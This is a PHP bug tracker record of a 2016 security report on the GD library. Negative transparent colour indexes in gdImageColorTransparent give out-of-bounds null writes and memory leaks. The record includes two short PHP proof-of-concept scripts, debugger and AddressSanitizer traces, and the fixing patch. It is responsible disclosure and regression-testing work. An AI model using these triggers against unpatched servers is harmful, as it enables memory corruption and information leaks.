php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72512 gdImageTrueColorToPaletteBody allows arbitrary write/read access
Submitted: 2016-06-29 04:03 UTC Modified: 2016-07-25 09:52 UTC
From: fernando at null-life dot com Assigned: pajoye
Status: Closed Package: GD related
PHP Version: 7.0.8 OS: *
Private report: No CVE-ID:
 [2016-06-29 04:03 UTC] fernando at null-life dot com
Description:
------------
gdImageTrueColorToPaletteBody doesn't check for negative transparent colors while converting the image. This leads to arbitrary null write and information leak.

Details
=======

https://github.com/php/php-src/blob/master/ext/gd/libgd/gd_topal.c#L2000

...
if (oim->transparent >= 0)
{
 nim->transparent = nim->colorsTotal;
 nim->colorsTotal++;
}
...

nim->transparent will only be updated with a valid index if oim->transparent is bigger than 0, however it can be set to be a negative color using gdImageColorTransparent

https://github.com/php/php-src/blob/master/ext/gd/libgd/gd.c#L598

void gdImageColorTransparent (gdImagePtr im, int color)
{
       if (!im->trueColor) {
               if (im->transparent != -1) {
                       im->alpha[im->transparent] = gdAlphaOpaque;
               }
               if (color > 1 && color < im>colorsTotal && color < gdMaxColors) {
                       im->alpha[color] = gdAlphaTransparent;
               } else {
                       return;
               }
       }
       im->transparent = color;
}

As you can see here, there's no check for color on truecolor images.  I really don't know if negative colors are supported, according to a quick search they could be special colors, that's why I don't propose any fix, I don't know where should the fix be implemented, gdImageColorTransparent or gdImageTrueColorToPaletteBody?

Null write
Setting im->transparent to a negative value, and then converting it to palette will allow to write an arbitrary null using gdImageColorTransparent again (above function):

       im->alpha[im->transparent] = gdAlphaOpaque;


Leak arbitrary memory using imagescale:

https://github.com/php/php-src/blob/master/ext/gd/libgd/gd_interpolation.c#L1247 

static gdImagePtr gdImageScaleBilinearPalette(gdImagePtr im, const unsigned int new_width, const unsigned int new_height)
{
...
        new_img->transparent = gdTrueColorAlpha(im->red[transparent], im->green[transparent], im->blue[transparent], im->alpha[transparent]);   # transparent out of bounds

...
}
new_img->transparent value is calculated adding the values using transparent as an index.

----------
GDB output with poc1:

USE_ZEND_ALLOC=0 gdb -q --args /home/user/php/php-70/sapi/cli/php -n poc.php
No symbol table is loaded.  Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/user/php/php-70/sapi/cli/php...done.
gdb-peda$ b gd_interpolation.c:1228
Breakpoint 2 at 0x81935b7: file /home/user/php/php-70/ext/gd/libgd/gd_interpolation.c, line 1228.
gdb-peda$ r
Starting program: /home/user/php/php-70/sapi/cli/php -n poc.php
[----------------------------------registers-----------------------------------]
EAX: 0x8c972a0 --> 0x0
EBX: 0x8b47000 --> 0x8b46db8 --> 0x1
ECX: 0x1
EDX: 0xfffe
ESI: 0xf5c08028 --> 0x8c7a138 --> 0x84b92de (<ZEND_DO_ICALL_SPEC_HANDLER>:      push   ebp)
EDI: 0x8c7a138 --> 0x84b92de (<ZEND_DO_ICALL_SPEC_HANDLER>:     push   ebp)
EBP: 0xffff9ef8 --> 0xffff9f18 --> 0xffff9f48 --> 0xffff9fb8 --> 0xffff9fe8 --> 0xffffa008 (--> ...)
ESP: 0xffff9e20 --> 0xffff9e48 --> 0x0
EIP: 0x81935b7 (<gdImageScaleBilinearPalette+255>:      mov    eax,DWORD PTR [ebp+0x8])
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x81935ab <gdImageScaleBilinearPalette+243>: jne    0x81935b7 <gdImageScaleBilinearPalette+255>
   0x81935ad <gdImageScaleBilinearPalette+245>: mov    eax,0x0
   0x81935b2 <gdImageScaleBilinearPalette+250>: jmp    0x81939d3 <gdImageScaleBilinearPalette+1307>
=> 0x81935b7 <gdImageScaleBilinearPalette+255>: mov    eax,DWORD PTR [ebp+0x8]
   0x81935ba <gdImageScaleBilinearPalette+258>: mov    edx,DWORD PTR [ebp-0x5c]
   0x81935bd <gdImageScaleBilinearPalette+261>: add    edx,0x60c
   0x81935c3 <gdImageScaleBilinearPalette+267>: mov    eax,DWORD PTR [eax+edx*4+0x8]
   0x81935c7 <gdImageScaleBilinearPalette+271>: shl    eax,0x18
[------------------------------------stack-------------------------------------]
0000| 0xffff9e20 --> 0xffff9e48 --> 0x0
0004| 0xffff9e24 --> 0xffff9e4c --> 0x0
0008| 0xffff9e28 --> 0xf7bfabcc --> 0x332000 ('')
0012| 0xffff9e2c --> 0x8467cd9 (<zend_parse_arg+13>:    add    ebx,0x6df327)
0016| 0xffff9e30 --> 0x0
0020| 0xffff9e34 --> 0xffff9f04 --> 0x1
0024| 0xffff9e38 --> 0xffff9f20 --> 0x8c71db0 --> 0x8c88698 --> 0x8c89658 --> 0x0
0028| 0xffff9e3c --> 0xf5c08108 --> 0xffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, gdImageScaleBilinearPalette (im=0x8c71db0, new_width=0x1, new_height=0xffff) at /home/user/php/php-70/ext/gd/libgd/gd_interpolation.c:1228
1228            new_img->transparent = gdTrueColorAlpha(im->red[transparent], im->green[transparent], im->blue[transparent], im->alpha[transparent]);
gdb-peda$ p transparent
$1 = 0xff666680        ## Out of non-truecolors bounds [0-255]


--------
GDB output poc2:

SE_ZEND_ALLOC=0 gdb -q --args /home/user/php/php-70/sapi/cli/php -n poc.php
No symbol table is loaded.  Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/user/php/php-70/sapi/cli/php...done.
gdb-peda$ b gd.c:598
Breakpoint 2 at 0x8173095: file /home/user/php/php-70/ext/gd/libgd/gd.c, line 598.
gdb-peda$ r
Starting program: /home/user/php/php-70/sapi/cli/php -n poc.php
[----------------------------------registers-----------------------------------]
EAX: 0xfff0bdc0
EBX: 0x8b47000 --> 0x8b46db8 --> 0x1
ECX: 0x0
EDX: 0x88e63b5 ("Image")
ESI: 0xf5c08028 --> 0x8c7a134 --> 0x84b92de (<ZEND_DO_ICALL_SPEC_HANDLER>:      push   ebp)
EDI: 0x8c7a134 --> 0x84b92de (<ZEND_DO_ICALL_SPEC_HANDLER>:     push   ebp)
EBP: 0xffff9f68 --> 0xffff9fb8 --> 0xffff9fe8 --> 0xffffa008 --> 0xffffa048 --> 0xffffa098 (--> ...)
ESP: 0xffff9f68 --> 0xffff9fb8 --> 0xffff9fe8 --> 0xffffa008 --> 0xffffa048 --> 0xffffa098 (--> ...)
EIP: 0x8173095 (<php_gd_gdImageColorTransparent+40>:    mov    eax,DWORD PTR [ebp+0x8])
EFLAGS: 0x293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x817308a <php_gd_gdImageColorTransparent+29>:       mov    eax,DWORD PTR [eax+0x1010]
   0x8173090 <php_gd_gdImageColorTransparent+35>:       cmp    eax,0xffffffff
   0x8173093 <php_gd_gdImageColorTransparent+38>:       je     0x81730af <php_gd_gdImageColorTransparent+66>
=> 0x8173095 <php_gd_gdImageColorTransparent+40>:       mov    eax,DWORD PTR [ebp+0x8]
   0x8173098 <php_gd_gdImageColorTransparent+43>:       mov    edx,DWORD PTR [eax+0x1010]
   0x817309e <php_gd_gdImageColorTransparent+49>:       mov    eax,DWORD PTR [ebp+0x8]
   0x81730a1 <php_gd_gdImageColorTransparent+52>:       add    edx,0x60c
   0x81730a7 <php_gd_gdImageColorTransparent+58>:       mov    DWORD PTR [eax+edx*4+0x8],0x0
[------------------------------------stack-------------------------------------]
0000| 0xffff9f68 --> 0xffff9fb8 --> 0xffff9fe8 --> 0xffffa008 --> 0xffffa048 --> 0xffffa098 (--> ...)
0004| 0xffff9f6c --> 0x816e084 (<zif_imagecolortransparent+161>:        add    esp,0x10)
0008| 0xffff9f70 --> 0x8c71db8 --> 0x8c7f890 --> 0x8c7fa28 --> 0x0
0012| 0xffff9f74 --> 0x9 ('\t')
0016| 0xffff9f78 --> 0xa ('\n')
0020| 0xffff9f7c --> 0xffff9f9c --> 0x9 ('\t')
0024| 0xffff9f80 --> 0xf5c08068 --> 0x8c71b20 --> 0x2
0028| 0xffff9f84 --> 0x8b47000 --> 0x8b46db8 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, php_gd_gdImageColorTransparent (im=0x8c71db8, color=0x9) at /home/user/php/php-70/ext/gd/libgd/gd.c:598
598                             im->alpha[im->transparent] = gdAlphaOpaque;
gdb-peda$ p im->transparent
$1 = 0xfff0bdc0                 ## Out of non-truecolors bounds [0-255]




Test script:
---------------
poc1:
<?php

$img = imagecreatetruecolor(13, 1007);

imagecolortransparent($img, -10066304);
imagetruecolortopalette($img, TRUE, 3);
imagescale($img, 1, 65535);

poc2:
<?php

$img = imagecreatetruecolor(100, 100);
imagecolortransparent($img, -1000000);
imagetruecolortopalette($img, TRUE, 3);
imagecolortransparent($img, 9);


Expected result:
----------------
No crash

Actual result:
--------------
USE_ZEND_ALLOC=0 /ram/php-fuzz/phuzzer/php-70/sapi/cli/php -n poc.php

ASAN:SIGSEGV
=================================================================
==14120==ERROR: AddressSanitizer: SEGV on unknown address 0xee79f338 (pc 0x08698cba bp 0xff666680 sp 0xff886de0 T0)
    #0 0x8698cb9 in gdImageScaleBilinearPalette /home/user/php/php-70-asan/ext/gd/libgd/gd_interpolation.c:1228
    #1 0x8698cb9 in gdImageScaleBilinear /home/user/php/php-70-asan/ext/gd/libgd/gd_interpolation.c:1392
    #2 0x85ba190 in zif_imagescale /home/user/php/php-70-asan/ext/gd/gd.c:4674
    #3 0x9a388ac in ZEND_DO_ICALL_SPEC_HANDLER /home/user/php/php-70-asan/Zend/zend_vm_execute.h:586
    #4 0x980d06f in execute_ex /home/user/php/php-70-asan/Zend/zend_vm_execute.h:414
    #5 0x9b287c5 in zend_execute /home/user/php/php-70-asan/Zend/zend_vm_execute.h:458
    #6 0x95e4c3c in zend_execute_scripts /home/user/php/php-70-asan/Zend/zend.c:1427
    #7 0x932d58b in php_execute_script /home/user/php/php-70-asan/main/main.c:2494
    #8 0x9b31004 in do_cli /home/user/php/php-70-asan/sapi/cli/php_cli.c:974
    #9 0x80a6e78 in main /home/user/php/php-70-asan/sapi/cli/php_cli.c:1344
    #10 0xf6c93636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #11 0x80a755a  (/ram/php-fuzz/phuzzer/php-70-asan/sapi/cli/php+0x80a755a)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/user/php/php-70-asan/ext/gd/libgd/gd_interpolation.c:1228 gdImageScaleBilinearPalette
==14120==ABORTING




USE_ZEND_ALLOC=0 /ram/php-fuzz/phuzzer/php-70/sapi/cli/php -n poc.php
=================================================================
==24805==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf0a35038 at pc 0x085e31a7 bp 0xfffadd48 sp 0xfffadd38
WRITE of size 4 at 0xf0a35038 thread T0
    #0 0x85e31a6 in php_gd_gdImageColorTransparent /home/user/php/php-70-asan/ext/gd/libgd/gd.c:598
    #1 0x85b1bbd in zif_imagecolortransparent /home/user/php/php-70-asan/ext/gd/gd.c:3292
    #2 0x9a388ac in ZEND_DO_ICALL_SPEC_HANDLER /home/user/php/php-70-asan/Zend/zend_vm_execute.h:586
    #3 0x980d06f in execute_ex /home/user/php/php-70-asan/Zend/zend_vm_execute.h:414
    #4 0x9b287c5 in zend_execute /home/user/php/php-70-asan/Zend/zend_vm_execute.h:458
    #5 0x95e4c3c in zend_execute_scripts /home/user/php/php-70-asan/Zend/zend.c:1427
    #6 0x932d58b in php_execute_script /home/user/php/php-70-asan/main/main.c:2494
    #7 0x9b31004 in do_cli /home/user/php/php-70-asan/sapi/cli/php_cli.c:974
    #8 0x80a6e78 in main /home/user/php/php-70-asan/sapi/cli/php_cli.c:1344
    #9 0xf6ce6636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #10 0x80a755a  (/ram/php-fuzz/phuzzer/php-70-asan/sapi/cli/php+0x80a755a)

AddressSanitizer can not describe address in more detail (wild memory access suspected).
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/php/php-70-asan/ext/gd/libgd/gd.c:598 php_gd_gdImageColorTransparent


Patches

bug72512 (last revision 2016-06-29 09:52 UTC) by pajoye@php.net)

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-06-29 05:26 UTC] pajoye@php.net
thanks :)

btw, I would be very interested to know which fuzzy tester you use, could be nice to have as part of the CI (we have coverity and cppchecker but they cannot test things like this).

It seems the bundled gdImageColorTransparent is missing a check. Here is we have in libgd/libgd:

BGD_DECLARE(void) gdImageColorTransparent (gdImagePtr im, int color)
{
	if (!im->trueColor) {
		if((color < -1) || (color >= gdMaxColors)) {
			return;
		}
		if (im->transparent != -1) {
			im->alpha[im->transparent] = gdAlphaOpaque;
		}
		if (color != -1) {
			im->alpha[color] = gdAlphaTransparent;
		}
	}
	
	im->transparent = color;
}

I do not think :transparent can be negative but on in gdImageCreate and gdImageCreateTrueColor, this value is set to mark it uninitialized. Given that, I think we can safely add as well:

if (color < 0) {
return;
}

first in the function.

gdImageScaleBilinearPalette is a different problem tho'. It should check if the src image is TC or palette and do different assignments accordingly, with a check for < 0 for both cases anyway.
 [2016-06-29 09:52 UTC] pajoye@php.net
The following patch has been added/updated:

Patch Name: bug72512
Revision:   1467193938
URL:        https://bugs.php.net/patch-display.php?bug=72512&patch=bug72512&revision=1467193938
 [2016-06-29 09:52 UTC] pajoye@php.net
Patch attached.

Should be for 5.5-7.1
 [2016-06-29 09:53 UTC] pajoye@php.net
-Assigned To: +Assigned To: ab
 [2016-06-29 09:53 UTC] pajoye@php.net
Anatol, can you apply it to 5.5+pls? Once reviewed and validated by reporter?
 [2016-06-29 09:54 UTC] pajoye@php.net
I think it is ok to already apply it, I do not see it as a critical issue. Thoughts?
 [2016-06-29 12:38 UTC] fernando at null-life dot com
It's just a dumb fuzzer fpr PHP, I haven't had the time/resources to implement anything fancy like coverage checking.

I can't see the proposed patch, can you please paste it on a private gist? 
Thanks.
 [2016-06-29 13:56 UTC] pajoye@php.net
diff --git a/ext/gd/libgd/gd.c b/ext/gd/libgd/gd.c
index a5799c5..170e372 100644
--- a/ext/gd/libgd/gd.c
+++ b/ext/gd/libgd/gd.c
@@ -599,15 +599,18 @@ void gdImageColorDeallocate (gdImagePtr im, int color)
 
 void gdImageColorTransparent (gdImagePtr im, int color)
 {
+	if (color < 0) {
+		return;
+	}
+
 	if (!im->trueColor) {
+		if((color >= gdMaxColors)) {
+			return;
+		}
 		if (im->transparent != -1) {
 			im->alpha[im->transparent] = gdAlphaOpaque;
 		}
-		if (color > -1 && color < im->colorsTotal && color < gdMaxColors) {
-			im->alpha[color] = gdAlphaTransparent;
-		} else {
-			return;
-		}
+		im->alpha[color] = gdAlphaTransparent;
 	}
 	im->transparent = color;
 }
 [2016-07-04 07:08 UTC] stas@php.net
Not sure how exploitable this is... theoretically could be if somebody had online image editor, etc. though it's a bit far-reaching by this point. I'd put it in the security repo unless it's already disclosed, in which case just merge it.
 [2016-07-04 08:40 UTC] ab@php.net
I've pushed it into the security repo as 7b2c22696ad44df1d26d70e15521adebd95c0399, sure is sure.

Fernando, what is your poc.php? Please post so it can be added as a test.

Thanks.
 [2016-07-04 17:09 UTC] fernando at null-life dot com
Hello ab, Do you mean this? it's on the first comment:

poc1:
<?php

$img = imagecreatetruecolor(13, 1007);
imagecolortransparent($img, -10066304);
imagetruecolortopalette($img, TRUE, 3);
imagescale($img, 1, 65535);

poc2:
<?php

$img = imagecreatetruecolor(100, 100);
imagecolortransparent($img, -1000000);
imagetruecolortopalette($img, TRUE, 3);
imagecolortransparent($img, 9);

I didn't test the patch but as long as there's no way to set a negative color then nothing weird will happen. Thanks for the fix.
 [2016-07-06 06:17 UTC] pajoye@php.net
@anatol is it part of the latest RCs or only final?
 [2016-07-06 08:45 UTC] ab@php.net
@Fernando, ahh, overlooked them. Added now for tests as well :)

@Pierre, i were not able to ensure it's revealed, so merged into the sec repo only. It's going to be merged into the finals 5.5.38 and others for Jul 21st.

Thanks.
 [2016-07-19 06:58 UTC] pajoye@php.net
-Status: Assigned +Status: Closed -Assigned To: ab +Assigned To: pajoye
 [2016-07-19 06:58 UTC] pajoye@php.net
Fixed in 5.5+, should be available in the respective next releases.
 [2016-07-25 06:31 UTC] fernando at null-life dot com
Can we make this issue public? 

It seems to be fixed already in PHP 5.5, 5.6, 7.0 and libgd.
 [2016-10-17 10:10 UTC] bwoebi@php.net
Automatic comment on behalf of pierre.php@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=928aecc002e906b309b28f0062f03d4e5eda3e45
Log: fix #72512, invalid read or write for palette image when invalid transparent index is used
 [2016-10-17 10:10 UTC] bwoebi@php.net
Automatic comment on behalf of pierre.php@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=0fbcff1b35c1005b8d2cdfd33184867912d9d83a
Log: fix #72512, invalid read or write for palette image when invalid transparent index is used
 [2016-10-17 10:11 UTC] bwoebi@php.net
Automatic comment on behalf of pajoye
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7b2c22696ad44df1d26d70e15521adebd95c0399
Log: Fixed bug #72512 gdImageTrueColorToPaletteBody allows arbitrary write/read access
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Fri Feb 24 06:01:39 2017 UTC